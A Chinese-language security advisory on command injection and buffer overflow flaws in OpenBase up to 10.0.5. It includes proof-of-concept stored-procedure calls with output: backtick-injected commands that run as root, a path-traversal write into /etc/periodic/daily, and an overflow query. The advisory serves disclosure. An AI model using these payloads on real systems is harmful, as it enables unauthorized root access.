安全研究

安全漏洞
OpenBase命令注入及缓冲区溢出漏洞

发布日期:2007-11-05
更新日期:2007-11-07

受影响系统:
OpenBase OpenBase <= 10.0.5
描述:
BUGTRAQ  ID: 26347

OpenBase是一款数据库服务器应用,可提供对结构化数据的高速访问。

OpenBase在实现存储过程时存在漏洞,本地攻击者可能利用这些漏洞提升自己的权限。

OpenBase在使用存储过程(如GlobalLog()或OEMLicenseInstall())中存在一些漏洞,如果用户能够创建有超长名称的存储过程的话,就可以触发缓冲区溢出,导致拒绝服务或以root权限执行任意代码;如果向预定义的存储过程注入了一系列反引号(`)的话,就可以注入恶意命令并以root用户权限执行。

<*来源:Kevin Finisterre (dotslash@snosoft.com
  
  链接:http://secunia.com/advisories/27525/
        http://www.netragard.com/pdfs/research/NETRAGARD-20070313-OPENBASE.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. call AsciiBackup('\`id\`')
导致以root执行命令

desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages

OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.

Using database 'WOMovies' on host 'localhost'

Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck

2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
导致创建root所有的文件

openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths

return_0  
----------
Success  
----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1>  call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths

return_0  
----------
Failure  
----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>

3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
导致zone_free()引用0x61616161问题

4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
导致以root执行命令

建议:
厂商补丁:

OpenBase
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.openbase.com/

浏览次数:2840
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障